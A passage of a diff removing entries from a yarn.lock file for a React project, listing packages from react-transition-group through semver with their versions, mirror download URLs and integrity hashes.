-    eslint-plugin-import "^2.22.1"
-    eslint-plugin-jest "^24.1.0"
-    eslint-plugin-jsx-a11y "^6.3.1"
-    eslint-plugin-react "^7.21.5"
-    eslint-plugin-react-hooks "^4.2.0"
-    eslint-plugin-testing-library "^3.9.2"
-    eslint-webpack-plugin "^2.5.2"
-    file-loader "6.1.1"
-    fs-extra "^9.0.1"
-    html-webpack-plugin "4.5.0"
-    identity-obj-proxy "3.0.0"
-    jest "26.6.0"
-    jest-circus "26.6.0"
-    jest-resolve "26.6.0"
-    jest-watch-typeahead "0.6.1"
-    mini-css-extract-plugin "0.11.3"
-    optimize-css-assets-webpack-plugin "5.0.4"
-    pnp-webpack-plugin "1.6.4"
-    postcss-flexbugs-fixes "4.2.1"
-    postcss-loader "3.0.0"
-    postcss-normalize "8.0.1"
-    postcss-preset-env "6.7.0"
-    postcss-safe-parser "5.0.2"
-    prompts "2.4.0"
-    react-app-polyfill "^2.0.0"
-    react-dev-utils "^11.0.3"
-    react-refresh "^0.8.3"
-    resolve "1.18.1"
-    resolve-url-loader "^3.1.2"
-    sass-loader "^10.0.5"
-    semver "7.3.2"
-    style-loader "1.3.0"
-    terser-webpack-plugin "4.2.3"
-    ts-pnp "1.2.0"
-    url-loader "4.1.1"
-    webpack "4.44.2"
-    webpack-dev-server "3.11.1"
-    webpack-manifest-plugin "2.2.0"
-    workbox-webpack-plugin "5.1.4"
-  optionalDependencies:
-    fsevents "^2.1.3"
-
-react-transition-group@^4.4.1:
-  version "4.4.2"
-  resolved "https://registry.yarnpkg.com/react-transition-group/-/react-transition-group-4.4.2.tgz#8b59a56f09ced7b55cbd53c36768b922890d5470"
-  integrity sha512-/RNYfRAMlZwDSr6z4zNKV6xu53/e2BuaBbGhbyYIXTrmgu/bGHzmqOs7mJSJBHy9Ud+ApHx3QjrkKSp1pxvlFg==
-  dependencies:
-    "@babel/runtime" "^7.5.5"
-    dom-helpers "^5.0.1"
-    loose-envify "^1.4.0"
-    prop-types "^15.6.2"
-
-react@^17.0.2:
-  version "17.0.2"
-  resolved "https://registry.nlark.com/react/download/react-17.0.2.tgz#d0b5cc516d29eb3eee383f75b62864cfb6800037"
-  integrity sha1-0LXMUW0p6z7uOD91tihkz7aAADc=
-  dependencies:
-    loose-envify "^1.1.0"
-    object-assign "^4.1.1"
-
-read-pkg-up@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/read-pkg-up/download/read-pkg-up-3.0.0.tgz?cache=0&sync_timestamp=1616916249599&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fread-pkg-up%2Fdownload%2Fread-pkg-up-3.0.0.tgz#3ed496685dba0f8fe118d0691dc51f4a1ff96f07"
-  integrity sha1-PtSWaF26D4/hGNBpHcUfSh/5bwc=
-  dependencies:
-    find-up "^2.0.0"
-    read-pkg "^3.0.0"
-
-read-pkg-up@^7.0.1:
-  version "7.0.1"
-  resolved "https://registry.npm.taobao.org/read-pkg-up/download/read-pkg-up-7.0.1.tgz?cache=0&sync_timestamp=1616916249599&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fread-pkg-up%2Fdownload%2Fread-pkg-up-7.0.1.tgz#f3a6135758459733ae2b95638056e1854e7ef507"
-  integrity sha1-86YTV1hFlzOuK5VjgFbhhU5+9Qc=
-  dependencies:
-    find-up "^4.1.0"
-    read-pkg "^5.2.0"
-    type-fest "^0.8.1"
-
-read-pkg@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/read-pkg/download/read-pkg-3.0.0.tgz#9cbc686978fee65d16c00e2b19c237fcf6e38389"
-  integrity sha1-nLxoaXj+5l0WwA4rGcI3/Pbjg4k=
-  dependencies:
-    load-json-file "^4.0.0"
-    normalize-package-data "^2.3.2"
-    path-type "^3.0.0"
-
-read-pkg@^5.2.0:
-  version "5.2.0"
-  resolved "https://registry.nlark.com/read-pkg/download/read-pkg-5.2.0.tgz#7bf295438ca5a33e56cd30e053b34ee7250c93cc"
-  integrity sha1-e/KVQ4yloz5WzTDgU7NO5yUMk8w=
-  dependencies:
-    "@types/normalize-package-data" "^2.4.0"
-    normalize-package-data "^2.5.0"
-    parse-json "^5.0.0"
-    type-fest "^0.6.0"
-
-"readable-stream@1 || 2", readable-stream@^2.0.0, readable-stream@^2.0.1, readable-stream@^2.0.2, readable-stream@^2.1.5, readable-stream@^2.2.2, readable-stream@^2.3.3, readable-stream@^2.3.6, readable-stream@~2.3.6:
-  version "2.3.7"
-  resolved "https://registry.npm.taobao.org/readable-stream/download/readable-stream-2.3.7.tgz#1eca1cf711aef814c04f62252a36a62f6cb23b57"
-  integrity sha1-Hsoc9xGu+BTAT2IlKjamL2yyO1c=
-  dependencies:
-    core-util-is "~1.0.0"
-    inherits "~2.0.3"
-    isarray "~1.0.0"
-    process-nextick-args "~2.0.0"
-    safe-buffer "~5.1.1"
-    string_decoder "~1.1.1"
-    util-deprecate "~1.0.1"
-
-readable-stream@^3.0.6, readable-stream@^3.1.1, readable-stream@^3.6.0:
-  version "3.6.0"
-  resolved "https://registry.npm.taobao.org/readable-stream/download/readable-stream-3.6.0.tgz#337bbda3adc0706bd3e024426a286d4b4b2c9198"
-  integrity sha1-M3u9o63AcGvT4CRCaihtS0sskZg=
-  dependencies:
-    inherits "^2.0.3"
-    string_decoder "^1.1.1"
-    util-deprecate "^1.0.1"
-
-readdirp@^2.2.1:
-  version "2.2.1"
-  resolved "https://registry.npm.taobao.org/readdirp/download/readdirp-2.2.1.tgz?cache=0&sync_timestamp=1615717369278&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Freaddirp%2Fdownload%2Freaddirp-2.2.1.tgz#0e87622a3325aa33e892285caf8b4e846529a525"
-  integrity sha1-DodiKjMlqjPokihcr4tOhGUppSU=
-  dependencies:
-    graceful-fs "^4.1.11"
-    micromatch "^3.1.10"
-    readable-stream "^2.0.2"
-
-readdirp@~3.5.0:
-  version "3.5.0"
-  resolved "https://registry.npm.taobao.org/readdirp/download/readdirp-3.5.0.tgz?cache=0&sync_timestamp=1615717369278&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Freaddirp%2Fdownload%2Freaddirp-3.5.0.tgz#9ba74c019b15d365278d2e91bb8c48d7b4d42c9e"
-  integrity sha1-m6dMAZsV02UnjS6Ru4xI17TULJ4=
-  dependencies:
-    picomatch "^2.2.1"
-
-recursive-readdir@2.2.2:
-  version "2.2.2"
-  resolved "https://registry.npm.taobao.org/recursive-readdir/download/recursive-readdir-2.2.2.tgz#9946fb3274e1628de6e36b2f6714953b4845094f"
-  integrity sha1-mUb7MnThYo3m42svZxSVO0hFCU8=
-  dependencies:
-    minimatch "3.0.4"
-
-redent@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/redent/download/redent-3.0.0.tgz?cache=0&sync_timestamp=1620070119923&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fredent%2Fdownload%2Fredent-3.0.0.tgz#e557b7998316bb53c9f1f56fa626352c6963059f"
-  integrity sha1-5Ve3mYMWu1PJ8fVvpiY1LGljBZ8=
-  dependencies:
-    indent-string "^4.0.0"
-    strip-indent "^3.0.0"
-
-regenerate-unicode-properties@^8.2.0:
-  version "8.2.0"
-  resolved "https://registry.npm.taobao.org/regenerate-unicode-properties/download/regenerate-unicode-properties-8.2.0.tgz#e5de7111d655e7ba60c057dbe9ff37c87e65cdec"
-  integrity sha1-5d5xEdZV57pgwFfb6f83yH5lzew=
-  dependencies:
-    regenerate "^1.4.0"
-
-regenerate@^1.4.0:
-  version "1.4.2"
-  resolved "https://registry.nlark.com/regenerate/download/regenerate-1.4.2.tgz#b9346d8827e8f5a32f7ba29637d398b69014848a"
-  integrity sha1-uTRtiCfo9aMve6KWN9OYtpAUhIo=
-
-regenerator-runtime@^0.11.0:
-  version "0.11.1"
-  resolved "https://registry.npm.taobao.org/regenerator-runtime/download/regenerator-runtime-0.11.1.tgz#be05ad7f9bf7d22e056f9726cee5017fbf19e2e9"
-  integrity sha1-vgWtf5v30i4Fb5cmzuUBf78Z4uk=
-
-regenerator-runtime@^0.13.4, regenerator-runtime@^0.13.7:
-  version "0.13.7"
-  resolved "https://registry.npm.taobao.org/regenerator-runtime/download/regenerator-runtime-0.13.7.tgz#cac2dacc8a1ea675feaabaeb8ae833898ae46f55"
-  integrity sha1-ysLazIoepnX+qrrriugziYrkb1U=
-
-regenerator-transform@^0.14.2:
-  version "0.14.5"
-  resolved "https://registry.npm.taobao.org/regenerator-transform/download/regenerator-transform-0.14.5.tgz#c98da154683671c9c4dcb16ece736517e1b7feb4"
-  integrity sha1-yY2hVGg2ccnE3LFuznNlF+G3/rQ=
-  dependencies:
-    "@babel/runtime" "^7.8.4"
-
-regex-not@^1.0.0, regex-not@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/regex-not/download/regex-not-1.0.2.tgz#1f4ece27e00b0b65e0247a6810e6a85d83a5752c"
-  integrity sha1-H07OJ+ALC2XgJHpoEOaoXYOldSw=
-  dependencies:
-    extend-shallow "^3.0.2"
-    safe-regex "^1.1.0"
-
-regex-parser@^2.2.11:
-  version "2.2.11"
-  resolved "https://registry.npm.taobao.org/regex-parser/download/regex-parser-2.2.11.tgz#3b37ec9049e19479806e878cabe7c1ca83ccfe58"
-  integrity sha1-OzfskEnhlHmAboeMq+fByoPM/lg=
-
-regexp.prototype.flags@^1.2.0, regexp.prototype.flags@^1.3.1:
-  version "1.3.1"
-  resolved "https://registry.nlark.com/regexp.prototype.flags/download/regexp.prototype.flags-1.3.1.tgz#7ef352ae8d159e758c0eadca6f8fcb4eef07be26"
-  integrity sha1-fvNSro0VnnWMDq3Kb4/LTu8HviY=
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-
-regexpp@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/regexpp/download/regexpp-3.1.0.tgz#206d0ad0a5648cffbdb8ae46438f3dc51c9f78e2"
-  integrity sha1-IG0K0KVkjP+9uK5GQ489xRyfeOI=
-
-regexpu-core@^4.7.1:
-  version "4.7.1"
-  resolved "https://registry.npm.taobao.org/regexpu-core/download/regexpu-core-4.7.1.tgz#2dea5a9a07233298fbf0db91fa9abc4c6e0f8ad6"
-  integrity sha1-LepamgcjMpj78NuR+pq8TG4PitY=
-  dependencies:
-    regenerate "^1.4.0"
-    regenerate-unicode-properties "^8.2.0"
-    regjsgen "^0.5.1"
-    regjsparser "^0.6.4"
-    unicode-match-property-ecmascript "^1.0.4"
-    unicode-match-property-value-ecmascript "^1.2.0"
-
-regjsgen@^0.5.1:
-  version "0.5.2"
-  resolved "https://registry.npm.taobao.org/regjsgen/download/regjsgen-0.5.2.tgz#92ff295fb1deecbf6ecdab2543d207e91aa33733"
-  integrity sha1-kv8pX7He7L9uzaslQ9IH6RqjNzM=
-
-regjsparser@^0.6.4:
-  version "0.6.9"
-  resolved "https://registry.npm.taobao.org/regjsparser/download/regjsparser-0.6.9.tgz#b489eef7c9a2ce43727627011429cf833a7183e6"
-  integrity sha1-tInu98mizkNydicBFCnPgzpxg+Y=
-  dependencies:
-    jsesc "~0.5.0"
-
-relateurl@^0.2.7:
-  version "0.2.7"
-  resolved "https://registry.npm.taobao.org/relateurl/download/relateurl-0.2.7.tgz#54dbf377e51440aca90a4cd274600d3ff2d888a9"
-  integrity sha1-VNvzd+UUQKypCkzSdGANP/LYiKk=
-
-remove-trailing-separator@^1.0.1:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/remove-trailing-separator/download/remove-trailing-separator-1.1.0.tgz#c24bce2a283adad5bc3f58e0d48249b92379d8ef"
-  integrity sha1-wkvOKig62tW8P1jg1IJJuSN52O8=
-
-renderkid@^2.0.4:
-  version "2.0.5"
-  resolved "https://registry.npm.taobao.org/renderkid/download/renderkid-2.0.5.tgz?cache=0&sync_timestamp=1609588551795&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Frenderkid%2Fdownload%2Frenderkid-2.0.5.tgz#483b1ac59c6601ab30a7a596a5965cabccfdd0a5"
-  integrity sha1-SDsaxZxmAaswp6WWpZZcq8z90KU=
-  dependencies:
-    css-select "^2.0.2"
-    dom-converter "^0.2"
-    htmlparser2 "^3.10.1"
-    lodash "^4.17.20"
-    strip-ansi "^3.0.0"
-
-repeat-element@^1.1.2:
-  version "1.1.4"
-  resolved "https://registry.npm.taobao.org/repeat-element/download/repeat-element-1.1.4.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Frepeat-element%2Fdownload%2Frepeat-element-1.1.4.tgz#be681520847ab58c7568ac75fbfad28ed42d39e9"
-  integrity sha1-vmgVIIR6tYx1aKx1+/rSjtQtOek=
-
-repeat-string@^1.6.1:
-  version "1.6.1"
-  resolved "https://registry.npm.taobao.org/repeat-string/download/repeat-string-1.6.1.tgz#8dcae470e1c88abc2d600fff4a776286da75e637"
-  integrity sha1-jcrkcOHIirwtYA//Sndihtp15jc=
-
-require-directory@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.npm.taobao.org/require-directory/download/require-directory-2.1.1.tgz#8c64ad5fd30dab1c976e2344ffe7f792a6a6df42"
-  integrity sha1-jGStX9MNqxyXbiNE/+f3kqam30I=
-
-require-from-string@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/require-from-string/download/require-from-string-2.0.2.tgz#89a7fdd938261267318eafe14f9c32e598c36909"
-  integrity sha1-iaf92TgmEmcxjq/hT5wy5ZjDaQk=
-
-require-main-filename@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/require-main-filename/download/require-main-filename-2.0.0.tgz#d0b329ecc7cc0f61649f62215be69af54aa8989b"
-  integrity sha1-0LMp7MfMD2Fkn2IhW+aa9UqomJs=
-
-requires-port@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/requires-port/download/requires-port-1.0.0.tgz#925d2601d39ac485e091cf0da5c6e694dc3dcaff"
-  integrity sha1-kl0mAdOaxIXgkc8NpcbmlNw9yv8=
-
-resolve-cwd@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/resolve-cwd/download/resolve-cwd-2.0.0.tgz#00a9f7387556e27038eae232caa372a6a59b665a"
-  integrity sha1-AKn3OHVW4nA46uIyyqNypqWbZlo=
-  dependencies:
-    resolve-from "^3.0.0"
-
-resolve-cwd@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/resolve-cwd/download/resolve-cwd-3.0.0.tgz#0f0075f1bb2544766cf73ba6a6e2adfebcb13f2d"
-  integrity sha1-DwB18bslRHZs9zumpuKt/ryxPy0=
-  dependencies:
-    resolve-from "^5.0.0"
-
-resolve-from@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/resolve-from/download/resolve-from-3.0.0.tgz#b22c7af7d9d6881bc8b6e653335eebcb0a188748"
-  integrity sha1-six699nWiBvItuZTM17rywoYh0g=
-
-resolve-from@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/resolve-from/download/resolve-from-4.0.0.tgz#4abcd852ad32dd7baabfe9b40e00a36db5f392e6"
-  integrity sha1-SrzYUq0y3Xuqv+m0DgCjbbXzkuY=
-
-resolve-from@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.npm.taobao.org/resolve-from/download/resolve-from-5.0.0.tgz#c35225843df8f776df21c57557bc087e9dfdfc69"
-  integrity sha1-w1IlhD3493bfIcV1V7wIfp39/Gk=
-
-resolve-url-loader@^3.1.2:
-  version "3.1.3"
-  resolved "https://registry.nlark.com/resolve-url-loader/download/resolve-url-loader-3.1.3.tgz#49ec68340f67d8d2ab6b401948d5def3ab2d0367"
-  integrity sha1-SexoNA9n2NKra0AZSNXe86stA2c=
-  dependencies:
-    adjust-sourcemap-loader "3.0.0"
-    camelcase "5.3.1"
-    compose-function "3.0.3"
-    convert-source-map "1.7.0"
-    es6-iterator "2.0.3"
-    loader-utils "1.2.3"
-    postcss "7.0.21"
-    rework "1.0.1"
-    rework-visit "1.0.0"
-    source-map "0.6.1"
-
-resolve-url@^0.2.1:
-  version "0.2.1"
-  resolved "https://registry.npm.taobao.org/resolve-url/download/resolve-url-0.2.1.tgz#2c637fe77c893afd2a663fe21aa9080068e2052a"
-  integrity sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=
-
-resolve@1.18.1:
-  version "1.18.1"
-  resolved "https://registry.npm.taobao.org/resolve/download/resolve-1.18.1.tgz#018fcb2c5b207d2a6424aee361c5a266da8f4130"
-  integrity sha1-AY/LLFsgfSpkJK7jYcWiZtqPQTA=
-  dependencies:
-    is-core-module "^2.0.0"
-    path-parse "^1.0.6"
-
-resolve@^1.10.0, resolve@^1.12.0, resolve@^1.13.1, resolve@^1.14.2, resolve@^1.17.0, resolve@^1.18.1, resolve@^1.20.0, resolve@^1.3.2, resolve@^1.8.1:
-  version "1.20.0"
-  resolved "https://registry.npm.taobao.org/resolve/download/resolve-1.20.0.tgz#629a013fb3f70755d6f0b7935cc1c2c5378b1975"
-  integrity sha1-YpoBP7P3B1XW8LeTXMHCxTeLGXU=
-  dependencies:
-    is-core-module "^2.2.0"
-    path-parse "^1.0.6"
-
-resolve@^2.0.0-next.3:
-  version "2.0.0-next.3"
-  resolved "https://registry.npm.taobao.org/resolve/download/resolve-2.0.0-next.3.tgz#d41016293d4a8586a39ca5d9b5f15cbea1f55e46"
-  integrity sha1-1BAWKT1KhYajnKXZtfFcvqH1XkY=
-  dependencies:
-    is-core-module "^2.2.0"
-    path-parse "^1.0.6"
-
-ret@~0.1.10:
-  version "0.1.15"
-  resolved "https://registry.npm.taobao.org/ret/download/ret-0.1.15.tgz#b8a4825d5bdb1fc3f6f53c2bc33f81388681c7bc"
-  integrity sha1-uKSCXVvbH8P29Twrwz+BOIaBx7w=
-
-retry@^0.12.0:
-  version "0.12.0"
-  resolved "https://registry.npm.taobao.org/retry/download/retry-0.12.0.tgz#1b42a6266a21f07421d1b0b54b7dc167b01c013b"
-  integrity sha1-G0KmJmoh8HQh0bC1S33BZ7AcATs=
-
-reusify@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/reusify/download/reusify-1.0.4.tgz#90da382b1e126efc02146e90845a88db12925d76"
-  integrity sha1-kNo4Kx4SbvwCFG6QhFqI2xKSXXY=
-
-rework-visit@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/rework-visit/download/rework-visit-1.0.0.tgz#9945b2803f219e2f7aca00adb8bc9f640f842c9a"
-  integrity sha1-mUWygD8hni96ygCtuLyfZA+ELJo=
-
-rework@1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/rework/download/rework-1.0.1.tgz#30806a841342b54510aa4110850cd48534144aa7"
-  integrity sha1-MIBqhBNCtUUQqkEQhQzUhTQUSqc=
-  dependencies:
-    convert-source-map "^0.3.3"
-    css "^2.0.0"
-
-rgb-regex@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/rgb-regex/download/rgb-regex-1.0.1.tgz#c0e0d6882df0e23be254a475e8edd41915feaeb1"
-  integrity sha1-wODWiC3w4jviVKR16O3UGRX+rrE=
-
-rgba-regex@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/rgba-regex/download/rgba-regex-1.0.0.tgz#43374e2e2ca0968b0ef1523460b7d730ff22eeb3"
-  integrity sha1-QzdOLiyglosO8VI0YLfXMP8i7rM=
-
-rimraf@^2.5.4, rimraf@^2.6.3:
-  version "2.7.1"
-  resolved "https://registry.npm.taobao.org/rimraf/download/rimraf-2.7.1.tgz#35797f13a7fdadc566142c29d4f07ccad483e3ec"
-  integrity sha1-NXl/E6f9rcVmFCwp1PB8ytSD4+w=
-  dependencies:
-    glob "^7.1.3"
-
-rimraf@^3.0.0, rimraf@^3.0.2:
-  version "3.0.2"
-  resolved "https://registry.npm.taobao.org/rimraf/download/rimraf-3.0.2.tgz#f1a5402ba6220ad52cc1282bac1ae3aa49fd061a"
-  integrity sha1-8aVAK6YiCtUswSgrrBrjqkn9Bho=
-  dependencies:
-    glob "^7.1.3"
-
-ripemd160@^2.0.0, ripemd160@^2.0.1:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/ripemd160/download/ripemd160-2.0.2.tgz#a1c1a6f624751577ba5d07914cbc92850585890c"
-  integrity sha1-ocGm9iR1FXe6XQeRTLyShQWFiQw=
-  dependencies:
-    hash-base "^3.0.0"
-    inherits "^2.0.1"
-
-rollup-plugin-babel@^4.3.3:
-  version "4.4.0"
-  resolved "https://registry.npm.taobao.org/rollup-plugin-babel/download/rollup-plugin-babel-4.4.0.tgz#d15bd259466a9d1accbdb2fe2fff17c52d030acb"
-  integrity sha1-0VvSWUZqnRrMvbL+L/8XxS0DCss=
-  dependencies:
-    "@babel/helper-module-imports" "^7.0.0"
-    rollup-pluginutils "^2.8.1"
-
-rollup-plugin-terser@^5.3.1:
-  version "5.3.1"
-  resolved "https://registry.npm.taobao.org/rollup-plugin-terser/download/rollup-plugin-terser-5.3.1.tgz#8c650062c22a8426c64268548957463bf981b413"
-  integrity sha1-jGUAYsIqhCbGQmhUiVdGO/mBtBM=
-  dependencies:
-    "@babel/code-frame" "^7.5.5"
-    jest-worker "^24.9.0"
-    rollup-pluginutils "^2.8.2"
-    serialize-javascript "^4.0.0"
-    terser "^4.6.2"
-
-rollup-pluginutils@^2.8.1, rollup-pluginutils@^2.8.2:
-  version "2.8.2"
-  resolved "https://registry.npm.taobao.org/rollup-pluginutils/download/rollup-pluginutils-2.8.2.tgz#72f2af0748b592364dbd3389e600e5a9444a351e"
-  integrity sha1-cvKvB0i1kjZNvTOJ5gDlqURKNR4=
-  dependencies:
-    estree-walker "^0.6.1"
-
-rollup@^1.31.1:
-  version "1.32.1"
-  resolved "https://registry.nlark.com/rollup/download/rollup-1.32.1.tgz?cache=0&sync_timestamp=1622979504511&other_urls=https%3A%2F%2Fregistry.nlark.com%2Frollup%2Fdownload%2Frollup-1.32.1.tgz#4480e52d9d9e2ae4b46ba0d9ddeaf3163940f9c4"
-  integrity sha1-RIDlLZ2eKuS0a6DZ3erzFjlA+cQ=
-  dependencies:
-    "@types/estree" "*"
-    "@types/node" "*"
-    acorn "^7.1.0"
-
-rsvp@^4.8.4:
-  version "4.8.5"
-  resolved "https://registry.npm.taobao.org/rsvp/download/rsvp-4.8.5.tgz#c8f155311d167f68f21e168df71ec5b083113734"
-  integrity sha1-yPFVMR0Wf2jyHhaN9x7FsIMRNzQ=
-
-run-parallel@^1.1.9:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/run-parallel/download/run-parallel-1.2.0.tgz#66d1368da7bdf921eb9d95bd1a9229e7f21a43ee"
-  integrity sha1-ZtE2jae9+SHrnZW9GpIp5/IaQ+4=
-  dependencies:
-    queue-microtask "^1.2.2"
-
-run-queue@^1.0.0, run-queue@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.npm.taobao.org/run-queue/download/run-queue-1.0.3.tgz#e848396f057d223f24386924618e25694161ec47"
-  integrity sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec=
-  dependencies:
-    aproba "^1.1.1"
-
-safe-buffer@5.1.2, safe-buffer@~5.1.0, safe-buffer@~5.1.1:
-  version "5.1.2"
-  resolved "https://registry.npm.taobao.org/safe-buffer/download/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d"
-  integrity sha1-mR7GnSluAxN0fVm9/St0XDX4go0=
-
-safe-buffer@>=5.1.0, safe-buffer@^5.0.1, safe-buffer@^5.1.0, safe-buffer@^5.1.1, safe-buffer@^5.1.2, safe-buffer@^5.2.0, safe-buffer@~5.2.0:
-  version "5.2.1"
-  resolved "https://registry.npm.taobao.org/safe-buffer/download/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6"
-  integrity sha1-Hq+fqb2x/dTsdfWPnNtOa3gn7sY=
-
-safe-regex@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/safe-regex/download/safe-regex-1.1.0.tgz#40a3669f3b077d1e943d44629e157dd48023bf2e"
-  integrity sha1-QKNmnzsHfR6UPURinhV91IAjvy4=
-  dependencies:
-    ret "~0.1.10"
-
-"safer-buffer@>= 2.1.2 < 3", safer-buffer@^2.1.0:
-  version "2.1.2"
-  resolved "https://registry.npm.taobao.org/safer-buffer/download/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a"
-  integrity sha1-RPoWGwGHuVSd2Eu5GAL5vYOFzWo=
-
-sane@^4.0.3:
-  version "4.1.0"
-  resolved "https://registry.npm.taobao.org/sane/download/sane-4.1.0.tgz#ed881fd922733a6c461bc189dc2b6c006f3ffded"
-  integrity sha1-7Ygf2SJzOmxGG8GJ3CtsAG8//e0=
-  dependencies:
-    "@cnakazawa/watch" "^1.0.3"
-    anymatch "^2.0.0"
-    capture-exit "^2.0.0"
-    exec-sh "^0.3.2"
-    execa "^1.0.0"
-    fb-watchman "^2.0.0"
-    micromatch "^3.1.4"
-    minimist "^1.1.1"
-    walker "~1.0.5"
-
-sanitize.css@^10.0.0:
-  version "10.0.0"
-  resolved "https://registry.npm.taobao.org/sanitize.css/download/sanitize.css-10.0.0.tgz#b5cb2547e96d8629a60947544665243b1dc3657a"
-  integrity sha1-tcslR+lthimmCUdURmUkOx3DZXo=
-
-sass-loader@^10.0.5:
-  version "10.2.0"
-  resolved "https://registry.nlark.com/sass-loader/download/sass-loader-10.2.0.tgz?cache=0&sync_timestamp=1622562247905&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsass-loader%2Fdownload%2Fsass-loader-10.2.0.tgz#3d64c1590f911013b3fa48a0b22a83d5e1494716"
-  integrity sha1-PWTBWQ+REBOz+kigsiqD1eFJRxY=
-  dependencies:
-    klona "^2.0.4"
-    loader-utils "^2.0.0"
-    neo-async "^2.6.2"
-    schema-utils "^3.0.0"
-    semver "^7.3.2"
-
-sax@~1.2.4:
-  version "1.2.4"
-  resolved "https://registry.npm.taobao.org/sax/download/sax-1.2.4.tgz#2816234e2378bddc4e5354fab5caa895df7100d9"
-  integrity sha1-KBYjTiN4vdxOU1T6tcqold9xANk=
-
-saxes@^5.0.1:
-  version "5.0.1"
-  resolved "https://registry.npm.taobao.org/saxes/download/saxes-5.0.1.tgz#eebab953fa3b7608dbe94e5dadb15c888fa6696d"
-  integrity sha1-7rq5U/o7dgjb6U5drbFciI+maW0=
-  dependencies:
-    xmlchars "^2.2.0"
-
-scheduler@^0.20.2:
-  version "0.20.2"
-  resolved "https://registry.nlark.com/scheduler/download/scheduler-0.20.2.tgz#4baee39436e34aa93b4874bddcbf0fe8b8b50e91"
-  integrity sha1-S67jlDbjSqk7SHS93L8P6Li1DpE=
-  dependencies:
-    loose-envify "^1.1.0"
-    object-assign "^4.1.1"
-
-schema-utils@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/schema-utils/download/schema-utils-1.0.0.tgz#0b79a93204d7b600d4b2850d1f66c2a34951c770"
-  integrity sha1-C3mpMgTXtgDUsoUNH2bCo0lRx3A=
-  dependencies:
-    ajv "^6.1.0"
-    ajv-errors "^1.0.0"
-    ajv-keywords "^3.1.0"
-
-schema-utils@^2.6.5, schema-utils@^2.7.0, schema-utils@^2.7.1:
-  version "2.7.1"
-  resolved "https://registry.npm.taobao.org/schema-utils/download/schema-utils-2.7.1.tgz#1ca4f32d1b24c590c203b8e7a50bf0ea4cd394d7"
-  integrity sha1-HKTzLRskxZDCA7jnpQvw6kzTlNc=
-  dependencies:
-    "@types/json-schema" "^7.0.5"
-    ajv "^6.12.4"
-    ajv-keywords "^3.5.2"
-
-schema-utils@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/schema-utils/download/schema-utils-3.0.0.tgz#67502f6aa2b66a2d4032b4279a2944978a0913ef"
-  integrity sha1-Z1AvaqK2ai1AMrQnmilEl4oJE+8=
-  dependencies:
-    "@types/json-schema" "^7.0.6"
-    ajv "^6.12.5"
-    ajv-keywords "^3.5.2"
-
-select-hose@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/select-hose/download/select-hose-2.0.0.tgz#625d8658f865af43ec962bfc376a37359a4994ca"
-  integrity sha1-Yl2GWPhlr0Psliv8N2o3NZpJlMo=
-
-selfsigned@^1.10.8:
-  version "1.10.11"
-  resolved "https://registry.nlark.com/selfsigned/download/selfsigned-1.10.11.tgz?cache=0&sync_timestamp=1620160245612&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fselfsigned%2Fdownload%2Fselfsigned-1.10.11.tgz#24929cd906fe0f44b6d01fb23999a739537acbe9"
-  integrity sha1-JJKc2Qb+D0S20B+yOZmnOVN6y+k=
-  dependencies:
-    node-forge "^0.10.0"
-
-"semver@2 || 3 || 4 || 5", semver@^5.4.1, semver@^5.5.0, semver@^5.5.1, semver@^5.6.0:
-  version "5.7.1"
-  resolved "https://registry.npm.taobao.org/semver/download/semver-5.7.1.tgz?cache=0&sync_timestamp=1616463540350&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsemver%2Fdownload%2Fsemver-5.7.1.tgz#a954f931aeba508d307bbf069eff0c01c96116f7"
-  integrity sha1-qVT5Ma66UI0we78Gnv8MAclhFvc=
-
-semver@7.0.0:
-  version "7.0.0"
